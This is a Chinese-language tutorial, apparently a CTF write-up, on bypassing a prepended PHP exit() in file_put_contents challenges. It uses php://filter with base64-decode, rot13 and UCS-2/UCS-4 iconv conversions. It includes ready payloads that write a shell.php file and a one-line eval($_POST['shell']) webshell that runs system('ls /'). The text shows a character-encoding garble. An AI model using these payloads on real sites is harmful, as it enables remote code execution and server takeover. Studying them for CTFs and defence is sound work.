php filter協(xié)議使用方法
<?php highlight_file(__FILE__); error_reporting(0); $content = $_POST['content']; file_put_contents($_GET['filename'], "<?php exit; ?>".$content); ?>
base64加密
看文章的時(shí)候看到這樣的一個(gè)代碼,發(fā)現(xiàn)我們往文件中寫入的時(shí)候,肯定會(huì)執(zhí)行<?php exit;?>,可是這樣就直接退出了就不能執(zhí)行我們后面的命令,所以我們要想辦法去繞過,或者說不執(zhí)行這個(gè)exit
這道題,可控點(diǎn)有兩個(gè) filename 和 content,先直接給出payload ,然后解析
GET:?filename=php://filter/convert.base64-decode/resource=shell.php
POST:content=PD9waHAgcGhwaW5mbygpOz8+
上面的POST段為<?php phpinfo();?>加密段
看完大佬的文章理解:
base64只對(duì)64個(gè)字符解密,那如果不是64個(gè)字符中的,會(huì)直接忽略不計(jì)
并且base64中的字符,是要求是4個(gè)字節(jié)的倍數(shù),如果實(shí)在不行則=補(bǔ)齊
隨便輸入一個(gè)都是4字節(jié)的倍數(shù)
<?php exit; ?>這個(gè)數(shù)據(jù)是固定的,而< > ; ?是64以外的字符,解碼時(shí)會(huì)忽略,我們需要考慮的就是phpexit(空格不需要考慮),因?yàn)槭?的倍數(shù),如果在最后面系統(tǒng)自動(dòng)加上=號(hào)的話,就改變了我們期望的值,所以需要我們手動(dòng)進(jìn)行修改,這時(shí)候我們可以在前面隨便添加一個(gè)數(shù)據(jù),讓它與phpexit組合起來,成為一個(gè)亂碼,不會(huì)影響后面的執(zhí)行。
還有一道就是最近遇到的一道題目,和上面的思路差不多
eval("#".$_GET['flag]);
這個(gè)#影響了我后面get傳參,不能進(jìn)行命令執(zhí)行
所以我的思路也是想如何繞過#,或者刪除了它
可是,當(dāng)時(shí)想了很久都沒有想出來,還是大佬的提醒點(diǎn)了我一下
這既然是php里面的命令,我們完全可以把前面的閉合掉,然后自己再插入一句話木馬
cmd=?><?php eval($_POST['shell']);
shell=system('ls /');進(jìn)行這樣的操作獲得flag等等,當(dāng)時(shí)腦袋瓦特了想不起來
rot13編碼繞過
rot13編碼的本質(zhì)就是將字母左移13位。
如:<?php phpinfo();>
經(jīng)過rot13編碼后這樣:<?cuc cucvasb();?>
用在php://filter
中的話格式大概為這樣
php://filter/string.rot13/resource=文件名
這樣的話上面的題目,用rot13繞過前面的 exit就會(huì)轉(zhuǎn)成別的東西,而我們輸入的則最后還是那串執(zhí)行代碼,這樣也就可以繞過了
結(jié)果非常清楚,前面exit被認(rèn)為是加密解密成這樣,后面我們事先加了密,所以抵消,還是原來的
加強(qiáng)繞過exit
<?php highlight_file(__FILE__); error_reporting(0); $content = $_GET['content']; file_put_contents($content, "<?php exit();".$content);
代碼換成了這樣,好比上面讓你疊飛機(jī)下面讓你造飛機(jī)(-0-)
顯而易見,只有content這一個(gè)傳參點(diǎn)了
這種就是加了一個(gè)write直接寫入文件,然后紅色部分/可以換成別的管道符,只要和rot13隔開就行
convert.iconv.
1.usc-2
這個(gè)編碼就是2個(gè)為一組交換字符的位置(空格也會(huì)交換)
為什么我們可以把filter直接寫入,因?yàn)閷懭胍院笾挥形覀冚斎氲囊痪湓捘抉R會(huì)被執(zhí)行,別的就相當(dāng)于亂碼一樣
2.usc-4
就是換成了4個(gè)字符一組交換
總結(jié):我們的思路其實(shí)都是相同的,通過某一個(gè)手段把exit繞過,然后執(zhí)行我們的命令,其實(shí)就是用一些編碼的特性,base64 rot13 usc-2 usc-4,都會(huì)把exit變成別的亂碼一般。
到此這篇關(guān)于php filter協(xié)議使用方法的文章就介紹到這了,更多相關(guān)php filter協(xié)議內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
php對(duì)圖像的各種處理函數(shù)代碼小結(jié)
這篇文章主要介紹了php的圖片處理實(shí)現(xiàn)代碼,包括縮放、剪裁、縮放、翻轉(zhuǎn)、旋轉(zhuǎn)、透明、銳化等圖片操作,需要的朋友可以參考下2013-07-07